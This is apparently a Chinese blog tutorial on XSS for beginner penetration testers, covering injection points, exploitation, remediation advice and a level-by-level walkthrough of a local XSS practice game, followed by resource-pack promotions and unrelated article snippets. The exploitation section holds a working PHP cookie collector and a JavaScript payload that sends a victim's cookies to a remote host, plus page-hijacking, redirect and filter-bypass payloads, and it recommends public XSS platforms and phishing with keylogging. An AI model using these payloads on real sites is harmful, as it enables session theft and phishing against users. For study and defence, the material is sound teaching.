【网络安全渗透测试入门】之XSS漏洞检测、利用和防御机制XSS游戏(非常详细)收藏这一篇就够了!
一、前言
这是我给粉丝盆友们整理的网络安全渗透测试入门阶段XSS攻击基础教程。
本教程主要讲解XSS漏洞检测、利用和防御机制。
喜欢的朋友们,记得给我点赞支持和收藏一下,关注我,学习黑客技术。
Web的安全问题越来越严重,漏洞总是在不停的出现,而我们以前一直在做的都是打补丁,就这样漏洞、补丁、补丁、漏洞的恶忄生循环着。其实很多的攻击都是可以预防的,只要我们做好前期的工作。
我给大家准备了全套的《网络安全入门+进阶学习资源包》包含各种常用工具,网络攻防黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
二、JS代码的调用方式
前面的文章我们了解到,javascript有能力操控浏览器并且可以在用户无感的情况下执行一系列恶意攻击的操作。所以大白在开始进行XSS漏洞检测手法讲解之前,需要粉丝们先了解一下JS代码他是如何被网页调用并且执行的。
JavaScript调用网页的手法一共有3种:
-
事件法
-
标签法
-
伪协议法
事件法
HTML4的新特性之一是事件,它使得用户在对网页进行一些操作时,可以触发js代码,从而达到更好的交互效果。比如:
<!DOCTYPE html>
<html>
<body>
<img id="image" src="/i/eg\_smile.gif" />
<input type="button" οnclick=change() value="修改"/>
<!-- 当用户点击按钮时,触发js,修改图片的路径 -->
<input type="button" οnclick=back() value="还原"/>
<!-- 当用户点击按钮时,触发js,修改图片的路径 -->
<script>
// 点击 修改 时调用的js代码
function change(){ document.getElementById("image").src = "/i/porsche.jpg"; } // 点击 还原 时调用的js代码 function back(){ document.getElementById("image").src = "/i/eg\_smile.gif"; } </script> <p>原始图像是 eg\_smile.gif,但脚本将其更改为 porsche.jpg</p> </body> </html>
在前端开发中通常包含非常多的事件类型,感兴趣的可以去看看:
HTML 事件 | 菜鸟教程
标签法
在HTML语言中,不同的标签代表不同的功能,这里面就有一个标签用来运行javascript脚本的:
<script></script>
我们通过这个标签,就可以导入javascript代码。标签法导入js代码,它有两种形式:
-
可以直接在标签对之间写js代码
<script> //在标签对之间书写js代码 alert(1); </script>
-
然后通过src属性,导入js文件
<script src='target.js'></script> // src可以是相对路径,也可以是超链接 <script src="https://unpkg.com/vue@3/dist/vue.global.js"></script>
特别需要注意的是,这两种形式只能二选一来使用。
协议法
通常伪协议(Pseudo-protocols)是一种用于URL(统一资源定位符)中的特殊协议标识符。注意它们不是真正的协议,而是在特定的上下文中执行特定的操作或触发特定的行为。
伪协议的种类非常多,常用的就包括:dict伪协议、gopher伪协议
php伪协议、data伪协议、等等。而在触发js代码的伪协议中,重点要说两种:
javascript:
<a href="javascript:alert(1)"></a>
data:
<script src="data:text/javascript;base64,YWxlcnQoMSk="></script>
通过这两种方式都能触发执行js代码
三、XSS漏洞挖掘思路
我们在挖掘XSS漏洞的时候,只需要去找能够输入内容的地方,比如:表单字段、查询字符串、URL参数、Cookie、HTTP头等用户可以输入内容的地方,在这些地方传入构造好的恶意代码,如果有代码被触发了,就说明这个点是存在XSS漏洞的。
1. 查询字符串
对于有搜索或者查询功能的网站,我们可以先简单判断输入的字符是否会在前端输出。如果有输出,那么我们就可以常去对这些输出的位置测试XSS漏洞
我给大家准备了全套的《网络安全入门+进阶学习资源包》包含各种常用工具,网络攻防黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
2. 数据提交表单
通常来说表单测试xss相对会复杂一些。因为表单会出现这两种情况:
-
我们提交数据之后,前端不会显示我们提交的表单信息。经典案例:
问卷调查、意见反馈信息等等
-
我们提交数据之后,前端会显示我们提交的表单信息。经典案例:
注册信息、留言信息、评论信息、订单提交信息等
对于这两种形式的表单,我们使用的测试方法会有所不同。
对于第一种形式,由于前端不会显示我们提交的表单信息,所以我们只能通过一些特殊的方式来进行测试:盲打
盲打是在我们不能直接看到回显时使用的一种的攻击手法,这个的核心目标是通过一些间接的证据来体现脚本被执行成功。这就好比SQL注入的盲注,在SQL盲注中,我们可以通过bool比较,让网页显示不一样的内容。可以让数据库休眠,延长网站的响应时间。XSS盲打也是借助这样的原理来实现,不过这个需要考验攻击者的js代码编写水平。
当然,也有简单的方式:借助XSS平台是否抓取到用户cookie来判断XSS漏洞是否存在。
XSS盲打实战案例:某网页漫画_xss实战
这样的方式,虽然能够成功实现 一个XSS盲打攻击,但是,需要提醒各位,使用XSS平台容易造成法律风险。所以在实际项目或src挖掘时,需要慎重使用。
对于第二种,我们直接使用正常的测试语句去进行测试就行了:
通过这样的方式就可以对前端有回显的表单进行XSS测试。这样我们就能够判断出表单是否存在XSS漏洞了。
3.Cookie、请求头等位置
cookie和请求头中的这些传参位置,通常容易被开发人员和安全设备忽略掉。这个是由于,一般cookie这些数据不会直接显示在前端页面上。但是这并不意味着这些地方就是安全的,一定不可能存在XSS的。
我们对Cookie等位置的测试,一般也都是以盲打为主
测试使用的语句
了解完需要测试点位之后,接下来就需要去构造测试使用的javascript语句了。这些构造通常由三种形式:
-
标签风格
借助各种标签来调用js代码,常用的标签由:svg,iframe,img ,script 等等
<svg onLoad svg onLoad="javascript:javascript:alert(303)"></svg onLoad> <iframe onLoad iframe onLoad="javascript:javascript:alert(296)"></iframe onLoad> <!--\\x3E<img src=xxx:x οnerrοr=javascript:alert(358)> --> <script>javascript:alert(356)</script\\x0B <script charset="\\x22>javascript:alert(357)</script>
直接在输入点传入完整的标签,这种方式主要用于网站将数据输出在了两个标签之间的情况
-
事件风格
通过闭合标签中的属性,实现向标签中插入新的属性或者事件
' οnerrοr=alert(1) \\\\ " οnfοcus=alert(1) autofocus=autofocus \\\\
如果你由仔细观察过标签风格中给出的xss语句,你会发现,其实在标签风格中就已经有不少poc是在借助事件来测试XSS了,它们和我们们现在说的这个的唯一区别就是,事件风格,不在受限于 <>字符了。我们是直接将数据插到了已有的标签中去实现攻击的
-
伪协议风格:
伪协议风格的使用条件相对来说要求比较严格,需要标签存在 href 属性或者网页能需要填写http连接。所以通常会借助 a 标签或者一些特殊的文档语法来测试:
<a href="javascript:alert(1)"> testxss</a> \[xsstest\](javascript:alert(1))
四、XSS的利用手法
XSS中最常见的攻击手段包括以下四点:
-
窃取用户信息
-
恶意重定向
-
篡改网页内容
-
发起钓鱼攻击
窃取用户信息
JavaScript可以在浏览器中获取用户的一些基本信息:cookie、个人资料等。这些实现的方式也并不复杂,最简单的方式如下:
- 通过vps搭建一个站点,要求如下:
- 任意用户能访问
- 接受2个传参:网址url地址和cookie,并将传递的参数进行base64解密
- 将域名+时间戳作为文件名,保存传递过来的cookie信息
实现代码如下:```
<?
if(isset($\_REQUEST\['cookieinfo'\]) && isset($\_REQUEST\["url"\]) ){
$info = base64\_decode($\_REQUEST\['cookieinfo'\]); $domain =base64\_decode($\_REQUEST\['url'\]); file\_put\_contents($domain.time().".txt", $info); echo "nice to get this message";
}else{ echo "hello world";
}
?>
```
- 构建xss攻击语句,要求如下:
1. 通过js获取目标站点的 cookie、host,并将这些信息进行base64编码
2. 创建span标签、form标签、iframe标签
3. span标签设置为 display:none ,并且添加 form标签和 iframe标签为子标签
4. 设置form标签,将数据提交到接受网站,并且按照接收平台的规则将数据进行组装
5. 设置form提交结果相应到iframe标签中
6. 将span标签添加到 html标签中,并且提交form标签
代码实现如下:```
(function(){
// 获得目标站点的信息
var cookieinfo = btoa(document.cookie);
var url = btoa(window.location.host.replace(":","\_"));
// 设置接受信息的站点
var target\_url = "http://192.168.226.1/phpinfo.php";
// 创建需要使用到的标签
var html = document.getElementsByTagName('html')\[0\];
var span = document.createElement("span");
var form = document.createElement('form');
var input1 = document.createElement("input");
var input2 = document.createElement("input");
// 设置form标签的基本属性
form.action = target\_url;
// 设置传递的值域1 :cookie信息
input1.name = "cookieinfo";
input1.type = "text";
input1.setAttribute("value",cookieinfo );
// 设置传递的值域2 :域名信息
input2.name = "url";
input2.type = "text";
input2.setAttribute("value",url)
// 将值域填充到form表单中
form.appendChild(input1);
form.appendChild(input2);
// 创建一个iframe,用于接受form表单提交后返回的数据
var iframe = document.createElement("iframe");
iframe.name = "\_test";
// 设置form的target,实现隐藏form回显的问题
form.target = iframe.name;
// 将form 和 iframe 都填充到 span 中
span.appendChild(form);
span.appendChild(iframe);
// 将 span 标签隐藏
span.style.display = "none";
// 然后将表单都填充到html页面中
html.appendChild(span);
// 提交表单
form.submit(); })()
```
通过这样的方式,就可以简单的实现用户数据窃取。当然,这样的代码比较丑陋(开发能力有限,见谅),在实际测试的时候有更优解:XSS平台
xss平台的作用和上面的功能是一样的。它是别人开发好的一套相对优雅的解法。但是,需要注意一点:公共XSS平台是不安全的,XSS平台的维护人员是能从XSS平台的后台获取所有打到该平台的XSS信息。
所以如果在实际项目中,项目对数据的保密性有要求,切忌使用公开XSS平台。
不过还是不能绕过XSS平台的简介,这里以 xsscom.com 平台为例,进行讲解,大部分的XSS平台都是大同小异的:
首先访问站点,之后进行一个注册。因为国内政策的原因,现在大部分的XSS平台注册都需要邀请码,同时需要使用邮箱进行注册。邀请码这个东西,没辙,不过现在有一部分的XSS平台是不限制邮箱的,所以我们可以通过临时邮箱来注册这些平台。(攻防中,一定要保护还好自己的个人隐私)
我给大家准备了全套的《网络安全入门+进阶学习资源包》包含各种常用工具,网络攻防黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
(如何获取临时邮箱?你猜猜看)
注册完成之后,使用账户进行登录,我就不在截图了。登录成功之后创建一个项目。一部分XSS平台对项目创建和数据存储有限制,这个自行探索。
创建 → 项目名称、描述 → 勾选模块(默认模块(必勾)、XSS.js(必勾)、基础认证钓鱼模块(可选)) → 完成
当创建完项目之后,将会得到一个代码页面,拖到最下面,就会有XSS平台的利用方法:
然后将这些利用方式,替换我们的XSS检测点的无害XSS,就能实现 基础的Cookie窃取:
这个解法,就很优雅了。唯一的缺点是:使用的是公共XSS平台。信息保密性无法保证。
恶意重定向
这个理解起来也很简单:就是通过向网页插入一串JS代码,让网页自动跳转到指定的网站中。
window.location.href="http://192.168.226.1"
当然,这个方式并不够优雅,因为这个跳转之后,浏览器地址栏的内容也会发生变化。这个迷惑性相对来说比较低,只要稍微注意一点,就能发现网站发生了异常。
篡改网页内容
所以就有了更优雅的攻击方式:篡改网页内容。在不修改地址栏的内容,实现对网站内容的篡改。
这里介绍一个新的平台:xssaq.com。这也是一个XSS平台,只不过它更加的暴力和优雅:
而我刚刚说的篡改网页你内容,就能通过他的一项配置来实现:
通过这个配置,就可以再不修改地址栏的内容。将网站重定向到指定的url中。在没有去看他的实现代码之前,我想到的思路是这样的:
- 通过js将原来的body给删除
- 通过js创建一个form表单,然后请求目标地址
- 通过js创建一个 iframe 标签,用来接收form表单的返回结果。
- 重新生成body,并且将form和iframe插入body标签。将body插入到html标签
在模仿Cookie窃取的思路来实现这个攻击。实现一下这个代码:
(function(){ var body = document.getElementsByTagName('body')\[0\];
body.parentNode.removeChild(body); var html = document.getElementsByTagName("html")\[0\]; body = document.createElement("body"); html.appendChild(body); var iframe = document.createElement("iframe"); iframe.name = "\_test"; var form = document.createElement("form"); form.action="https://www.anchorubik.com"; form.method="get"; form.target = iframe.name; body.appendChild(form); body.appendChild(iframe); iframe.style.cssText = "position:absolute;"+ "z-index:100000;"+ "width:100%;height:100%;"+ "frameborder=no;scrolling:no"; form.submit();})()
不过这个代码实现的并不优雅。因为当遇到一些站点,不允许iframe跨域调用时,页面就会报错。而且,如果目标站点使用的是https时,重定向的目标站也必须使用https。
然后我就去看了一眼xssaq平台是怎么实现的。嗯,我思路是没有错的:
不过我尝试着直接拿上面的这一串代码放到浏览器中打self xss,发现效果没有上面的代码好。稍微修改一下自己的代码,然他显得不那么丑陋
(function(){
var html = document.getElementsByTagName("html")\[0\]; html.removeChild(document.getElementsByTagName("body")\[0\]); var body = document.createElement("body"); body.style.cssText="scrolling:no"; html.appendChild(body); var iframe = document.createElement("iframe"); iframe.src="https://www.anchorubik.com"; body.appendChild(iframe); iframe.style.cssText = "position:absolute;"+ "z-index:100000;"+ "width:100%;height:100%;"+ "frameborder=no;scrolling:no"; })()
优雅,不过如果细心一点还是能发现问题: 在网页上的操作,地址栏的内容将维持不变
发起钓鱼攻击
在了解了串改网页内容攻击的原理之后,还想要进一步攻击,那不就是钓鱼了?而有了篡改网页内容的基础之后,接下来要钓鱼还不是轻轻松松?
- 通过在自己的vps上模仿搭建目标站点的登录页面。
- 在自己的vps中实现以下功能:
a. 将用户提交的数据转发到原网站
b. 如果登录成功,则将数据保存在本地。并且不在劫持页面。
c. 如果登录失败,则将响应信息返回给目标用户,知道用户登录成功
思路有了,接下来就是代码实现来了:我觉得这个时候,各位应该可以拿起cs了。cs有一个钓鱼模块,能够轻松复刻目标站点,并且实现键盘记录。通过XSS篡改目标网站到我们cs生成的网站,能够完美实现钓鱼。
具体的实现方式,我这里就去写了,有点懒,在这里我想讨论另一个东西:如果目标站点存在XSS漏洞,我已经能够通过XSS获取目标的Cookie了,还有必要去钓鱼吗?
五、XSS漏洞修复建议
1、防堵跨站漏洞,阻止攻击者利用在被攻击网站上发布跨站攻击语句
不可以信任用户提交的任何内容,首先代码里对用户输入的地方和变量都需要仔细检查长度和对”<”,”>”,”;”,”’”等字符做过滤;其次任何内容写到页面之前都必须加以encode,避免不小心把htmltag弄出来。这一个层面做好,至少可以堵住超过一半的XSS攻击。
2、cookie防盗
首先避免直接在cookie中泄露用户隐私,例如email、密码等等。其次通过使cookie和系统ip绑定来降低cookie泄露后的危险。这样攻击者得到的cookie没有实际价值,不可能拿来重放。
3、尽量采用POST而非GET提交表单
POST操作不可能绕开javascript的使用,这会给攻击者增加难度,减少可利用的跨站漏洞。
4、严格检查refer
检查httprefer是否来自预料中的url。这可以阻止第2类攻击手法发起的http请求,也能防止大部分第1类攻击手法,除非正好在特权操作的引用页上种了跨站访问。
5、将单步流程改为多步,在多步流程中引入效验码
多步流程中每一步都产生一个验讠正码作为hidden表单元素嵌在中间页面,下一步操作时这个验讠正码被提交到服务器,服务器检查这个验讠正码是否匹配。首先这为第1类攻击者大大增加了麻烦。其次攻击者必须在多步流程中拿到上一步产生的效验码才有可能发起下一步请求,这在第2类攻击中是几乎无法做到的。
6、引入用户交互
简单的一个看图识数可以堵住几乎所有的非预期特权操作。
7、只在允许anonymous访问的地方使用动态的javascript。
8、对于用户提交信息的中的img等link,检查是否有重定向回本站、不是真的图片等可疑操作。
9、内部管理网站的问题
很多时候,内部网站往往疏于关注安全问题,只是简单的限制访问来源。这种网站往往对XSS攻击毫无抵抗力,需要多加注意。
虽然XSS的攻击很灵活,只要我们能做好上述几点,是可以组织大部分XSS的,再及时打好补丁可以最大程度的减少来自跨站脚本攻击XSS的威胁。
申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。
我给大家准备了全套的《网络安全入门+进阶学习资源包》包含各种常用工具,网络攻防黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
六、Xss小游戏通关攻略
实验环境:xss小游戏源码+phpstudy
源码地址:https://files.cnblogs.com/files/Eleven-Liu/xss%E7%BB%83%E4%B9%A0%E5%B0%8F%E6%B8%B8%E6%88%8F.zip
实验步骤:启动phpstudy,浏览器访问127.0.0.1/xss/后提示点击图片进入第一关。
第一关:输入的变量直接被输出,直接构造payload即可。
http://127.0.0.1/xss/level1.php?name=
http://127.0.0.1/xss/level1.php?name=test‘
第二关:搜索框的XSS,输入的变量直接输出到input标签内,闭合input标签,构造XSS,备注:echo语句输出到页面时使用了htmlspecialchars函数。
payload: http://127.0.0.1/xss/level2.php?keyword=test">
第三关:输入的变量被htmlspecialchars函数处理了,这个函数处理的字符有< > " ,没有处理单引号,因此利用单引号构造payload,先通过单引号闭合value
第四关:大于号 小于号 被过滤了,构造不包含这两个符号的payload,value的值与第三关有所差异,这里需要使用双引号用于闭合value标签
(http://127.0.0.1/xss/level3.php?keyword=%27%20rel=)
http://127.0.0.1/xss/level4.php?keyword=test"οnmοuseοver=‘alert(1)
http://127.0.0.1/xss/level4.php?keyword=test%22%CE%BFnm%CE%BFuse%CE%BFver=%27%20rel=
“http://127.0.0.1/xss/level4.php?keyword=test"οnmοuseοver='alert(1)”)’
第五关:<script 和on被替换了,构造不含这两个的payload
127.0.0.1/xss/level5.php?keyword=find a way out!1">
第六关:比第五关过滤的东西更多,包括了src data href ,可以把这些关键字大写,以绕过这些过滤,payload: http://127.0.0.1/xss/level6.php?keyword=break it out!1">
第七关:增加strtolower函数把输入变量转成了小写,但过滤的字符强制变成空格,可以使用,中间的script变成了空格,正好变成了
127.0.0.1/xss/level7.php?keyword=move up!1">alert(1)
第八关:input中输入的变量通过htmlspecialchars被处理了,且双引号被替换成空,无法通过双引号闭合value。这里的输入被添加至超链接中,直接构造payload:javascript,对其中的字母进行实体编码
搜索框中输入 javascript:alert(1) 点击添加到友情链接,点击链接
第九关:上一关的基础上,判断输入的链接是否包含http://,因为用的是strpos函数,没有限制必须是开始的位置,所以在上一关的基础上,修改payload为 javascript:alert(‘http://’)
第十关:keyword变量没办法构造payload,发现隐藏变量t_sort,可以被写入,但过滤了大于小于号,构造不含大于小于号的payload,类型改为text,具体如下:
[http://127.0.0.1/xss/level10.php?t_sort="οnmοuseοver='alert(1)'type="text](http://127.0.0.1/xss/level10.php?t_sort=%22%CE%BFnm%CE%BFuse%CE%BFver=%27%20rel= "http://127.0.0.1/xss/level10.php?t_sort=“οnmοuseοver='alert(1)'type=“text”)”
第十一关:查看源码:可以看到t_ref的value是我们访问这个网页的referer值,故可以抓包修改referer,在referer后加入” οnmοuseοver=‘alert(1)’ type=“text”。
第十二关:查看源码,$str33最初是由HTTP_USER_AGENT过滤< > 而来,修改User-Agent,在后面加上" οnmοuseοver=‘alert(1)’ type=“text”。
第十三关:同上,查看源码,$str33最初是由cookie过滤< > 而来,修改cookie,在后面加上" οnmοuseοver=‘alert(1)’ type=“text”。
第十四关:网站已经打不开,略过
第十五关:angularjs的ng-include
http://127.0.0.1/xss /level15.php?src=‘level1.php?name=test<img src=1 οnerrοr=alert(1)>’
第十六关:script / 空格被过滤了 ,用%0d换行符绕过
http://127.0.0.1/xss/level16.php?keyword=%3Cimg%0dsrc=1%0dοnerrοr=alert(2)%3Ealert(2)
http://127.0.0.1/xss /level16.php?keyword=<img%0Dsrc=1%0Dοnerrοr=alert()>
http://127.0.0.1/xss /level16.php?keyword=<img%0asrc=1%0aοnerrοr=alert()>
http://127.0.0.1/xss /level16.php?keyword=<img%0asrc=x%0donError=alert(‘xss’)>
http://127.0.0.1/xss /level16.php?keyword=<iframe%0asrc=x%0dοnmοuseοver=alert’1’>
http://127.0.0.1/xss /level16.php?keyword=<svg%0aοnlοad=alert’1’>
第十七关:arg01和arg02 被htmlspecialchars过滤了,通过οnmοuseοver='alert(1)'绕过。
http://127.0.0.1/xss/level17.php?arg01=a&arg02=%20οnmοuseοver=alert%282%29
第十八关:同十七,直接把arg02 设置为οnmοuseοver=‘alert(1)’
http://192.168.40.128/xss/level18.php?arg01=a&arg02= οnmοuseοver=alert(2)
第十九关和二十关属于Flash xss,略过。
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取
👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈)
👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
👉5.黑客必读书单👈
👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~
相关文章:
【网络安全渗透测试入门】之XSS漏洞检测、利用和防御机制XSS游戏(非常详细)收藏这一篇就够了!
一、前言 这是我给粉丝盆友们整理的网络安全渗透测试入门阶段XSS攻击基础教程。 本教程主要讲解XSS漏洞检测、利用和防御机制。 喜欢的朋友们,记得给我点赞支持和收藏一下,关注我,学习黑客技术。 Web的安全问题越来越严重,漏洞…...
[ComfyUI]Flux:超赞古风少女LORA,唯美江南水乡小桥流水轻舟江南美人
在数字艺术的世界里,ComfyUI的Flux技术再次展现了它的独特魅力。这次,它带来了一个全新的古风少女LORA模型,让用户能够轻松地创作出唯美江南水乡的场景,感受江南的韵味和小桥流水的诗意。 ComfyUI的Flux技术结合了先进的图像处理…...
从蚂蚁金服面试题窥探STW机制
背景 在Java虚拟机(JVM)中,垃圾回收(GC)是一个至关重要的机制,它负责自动管理内存的分配和释放。然而,垃圾回收过程并非没有代价,其中最为显著的一个影响就是STW(Stop-T…...
【MySQL数据库】MySQL高级语句(SQL语句进阶版)
文章目录 SQL语句进阶版MySQL查询数据的过程一、连接与身份验证二、查询缓存(MySQL 8.0之前版本)三、查询解析与优化四、查询执行五、返回结果 MySQL语句准备环境创建 location 表并插入数据创建 store_info 表并插入数据查询示例 语句示例SELECTDISTINC…...
Milvus 到 TiDB 向量迁移实践
作者: caiyfc 原文来源: https://tidb.net/blog/e0035e5e 一、背景 我最近在研究使用向量数据库搭建RAG应用,并且已经使用 Milvus、Llama 3、Ollama、LangChain 搭建完成。最近通过活动获取了 TiDB Cloud Serverless 使用配额ÿ…...
springboot集成jsoup解析xml文件
springboot集成jsoup解析xml文件 1、引入依赖2、xml转成需要的map结构3、测试数据 1、引入依赖 <dependency><groupId>org.jsoup</groupId><artifactId>jsoup</artifactId><version>1.16.2</version></dependency>2、xml转成需…...
基于Springboot相亲网站系统的设计与实现
基于 Springboot相亲网站系统的设计与实现 开发语言:Java 框架:springboot JDK版本:JDK1.8 服务器:tomcat7 数据库:mysql 5.7 数据库工具:Navicat11 开发软件:idea 源码获取:https…...
解决提示”warning C317 attempt to redefine macro ‘XX‘“问题
今天来分享一个之前在开发时候遇到的一个告警,是一个关于不正当使用宏定义产生的告警。 先看告警提示:warning C317: attempt to redefine macro ‘WIFI_UART_SEND_BUF’; 意思是该宏定义存在重新定义; 而为什么编译器会这样提示…...
3D图片动画效果组件封装
1.效果 3D图片动画效果 2.组件部分 import "./index.less"/*** 3D图片动画效果* pictures: 图片数组[封面,英雄,标题]*/ export const Picture3D (props: any) > {console.log("3D图片动画效果", props)return <divclassNamepicture3DonClick{prop…...
高级优化算法之 fminunc函数 实践
说明 在本专栏机器学习_墨#≯的博客-CSDN博客前面几篇文章中,大多采用梯度下降法来求解。其实还有很多的高级优化算法可以用来求解回归和分类问题,本文就是在吴恩达机器学习视频课程[1]的启示下,想要简单尝试一下Matlab自带的无约束多变量函数…...
1.5 ROS架构
到目前为止,我们已经安装了ROS,运行了ROS中内置的小乌龟案例,并且也编写了ROS小程序,对ROS也有了一个大概的认知,当然这个认知可能还是比较模糊并不清晰的,接下来,我们要从宏观上来介绍一下ROS的…...
Redis Search系列 - 第四讲 支持中文
目录 一、支持中文二、自定义中文词典2.1 Redis Search设置FRISOINI参数2.2 friso.ini文件相关配置1)自定义friso UTF-8字典2)修改friso.ini配置文件 三、实测中文分词效果 一、支持中文 Redis Stack 从版本 0.99.0 开始支持中文文档的添加和分词。中文…...
架构师备考-架构图设计案列
本文中所涉及的架构图主要参考软考-架构设计师历年Web 架构设计案例真题,在其基础上进行补充说明。 历年软考架构师案例题-Web架构设计考点 2014 MVC 架构2015、2016 J2EE 架构2017 经典网络架构2018 SOA 架构2019 分布式架构2020 SSM 架构2021 云平台架构2022 物…...
专业级Facebook直播工具推荐:提升你的直播体验
随着社交媒体的迅速发展,直播已成为现代内容传播的重要方式。Facebook作为全球最大的社交平台之一,为用户和企业提供了丰富的直播功能,吸引了众多观众和参与者。在这个竞争激烈的环境中,如何打造高质量的直播内容显得尤为重要。本…...
【NodeJS】NodeJS+mongoDB在线版开发简单RestfulAPI (三):Cors的设置及.env文件的设置
本项目旨在学习如何快速使用 nodejs 开发后端api,并为以后开展其他项目的开启提供简易的后端模版。(非后端工程师) 由于文档是代码写完之后,为了记录项目中需要注意的技术点,因此文档的叙述方式并非开发顺序࿰…...
[python flask 数据库ORM操作]
一、链接数据库 我们选择的框架是flask-sqlAlchemy 这个框架是对pymysql的封装。 连接数据库 #导入包 from flask_sqlalchemy import SQLAlchemy #创建flask app对象 app Flask(__name__) #设置配置信息 HOSTNAME "localhost" PORT 3306; USERNAME "root&…...
【JavaScript】如何优雅的编码if判断中的一个变量多个或条件
前言 你是否写过这样代码: ...if (status 1 || status 4 || status 6)...代码场景是这样的,记录有多个状态,当状态等于1,4,6时要做相同的逻辑。今天我们就分享一下如何简化写法,让代码更好看,更优雅。 使用 switch 语句 ...…...
SaaS云诊所系统源码,基于云计算技术的SAAS模式诊所管理系统,适用于诊所、门诊、卫生服务站、卫生站
SaaS云诊所管理系统源码,门诊管理系统源码,诊所药店云平台源码 云诊所管理系统是基于云计算的SAAS模式诊所管理系统,全面适用于诊所、门诊、卫生服务站、卫生站、卫生所、中医馆、药店、私人个体诊所、中小型门诊、乡村卫生室、医务室以及社…...
字节,AI产品经理面试,拿下offer!
如果大家最近打算找ai产品经理这方面的工作,可以对照着脑图准备起来啦。 这篇文章给大家讲解两道高频问题: 1)AI产品经理和传统产品经理有什么区别 2)AI 产品经理的工作职责和能力要求是什么? 这两个问题看似简单&a…...
Postgresql pgsql 插件之postgis 安装配置
相关链接: pgsql编译安装 一、说明 postgis是pgsql最强大的几个插件之一,可以用于地理信息系统(gis)的搭建 二、插件安装启动 由于我的pgsql是编译安装的,所以插件也是编译安装,更加灵活。 1.进入到源…...
单片机STC8H8K64U开发板_RA6809开发板 驱动彩屏显示
单片机STC8H8K64U开发板,型号RT8H8K001 预留Type C接口,可供电SWD下载: RA6809开发板,型号RT6809CNN01 预留Type C接口供电,预留MCU接口、电容触摸屏接口、液晶屏接口: 双臂合一,驱动和控…...
Redis底层和缓存雪崩,击穿,穿透
一、Redis的数据结构 1.动态字符串 我们知道Redis中保存的Key是字符串,value往往hi字符串或者字符串的集合。可见字符串是Redis中最常用的一种数据结构。不过,Redis 没有直接使用c语言的字符串,因为c语言字符串存在许多问题: …...
[Java基础] 集合框架
往期回顾 [Java基础] 基本数据类型 [Java基础] 运算符 [Java基础] 流程控制 [Java基础] 面向对象编程 [Java基础] 集合框架 [Java基础] 输入输出流 [Java基础] 异常处理机制 [Java基础] Lambda 表达式 目录 List 接口 数据结构 最佳实践 实战代码 Set 接口 数据…...
机器学习基础:算法如何让 AI 自我学习
大家好,我是Shelly,一个专注于输出AI工具和科技前沿内容的AI应用教练,体验过300款以上的AI应用工具。关注科技及大模型领域对社会的影响10年。关注我一起驾驭AI工具,拥抱AI时代的到来。 AI工具集1:大厂AI工具【共23款…...
25届字节跳动 抖音NLP算法工程师 面经
目录 一面/技术面 2024/08/30二面/技术面 2024/09/13 一面/技术面 2024/08/30 深挖实习(最近的一段实习)深挖论文(让我共享屏幕,然后对着自己的论文讲)论文做了多久完成的?主要都做了哪些工作?…...
转行网络工程师以后的就业前景如何?
就业前景如何本质上取决于你在这行业的发展状况,而发展状况又主要由你的技术水平和与人交流的能力所决定。 如果你的技术能力仅限于"安服仔"、"脚本小子"等入门级水平,那你的职业发展可能会像浮萍一样漂泊不定。但如果你能轻松编写…...
docker 和 containerd 关系
containerd 是一个开源的容器运行时,它是用来管理容器生命周期的守护进程。containerd 支持 Docker 和其他容器格式,并且是许多现代容器编排系统(如 Kubernetes)的基础组件之一。 containerd 提供了一个命令行工具 ctr࿰…...
算法-二叉树的最大路径和
为了找到二叉树的最大路径和,我们需要考虑所有可能的路径,包括不经过根节点的路径,所以其实如果你从整体上来一条路径一条路径的遍历,太复杂,我们可以换个思路,从每个节点出发,就把那个节点当成…...
解决url含%导致404错误
String imageUrl;// 使用WebClient下载图片WebClient webClient WebClientUtil.getWebClient();Mono<ByteArrayOutputStream> byteArrayOutputStreamMono webClient.get().uri(imageUrl).retrieve().bodyToFlux(DataBuffer.class) // 获取图片内容的DataBuffer流.reduc…...
[Linux Codec驱动]音频路由概念
1. 音频路由的基本概念 源(Source):音频信号的发出方,通常是一个音频输入设备,如麦克风、音频播放设备等。接收端(Sink):音频信号的接收方,通常是音频输出设备ÿ…...
企业网站建设 广州/seo值怎么提高
本文实例讲述了android获得当前view在屏幕中坐标的方法。分享给大家供大家参考。具体如下:final int[] location new int[2];view.getLocationOnScreen(location);这样就可以得到该视图在全局坐标系中的x,y值,(注意这个值是要从屏幕顶端算起…...
丽水市做网站的/草根站长工具
Win10系统频繁通知重复消息导致死循环的解决方法最近有一些Win10正式版用户发现系统的操作中心会不断弹出重复消息,内容为“已重置应用默认设置”。而在经过紧急排查后,可以确定这个Win10系统“痉挛”问题是累积更新KB3135173所导致的。下面小编就给大家…...
上海普陀区企业网站建设/网站设计
阿弥陀佛。好久没写文章,实在是受不了了。特来填坑,近期实习了(ting)解(shuo)到(le)非常多工业界经常使用的算法。诸如GBDT,CRF,topic model的一些算法等。也看了不少东西。有时间能够具体写一下,而至于实现那真的是没时间没心情再做了&#…...
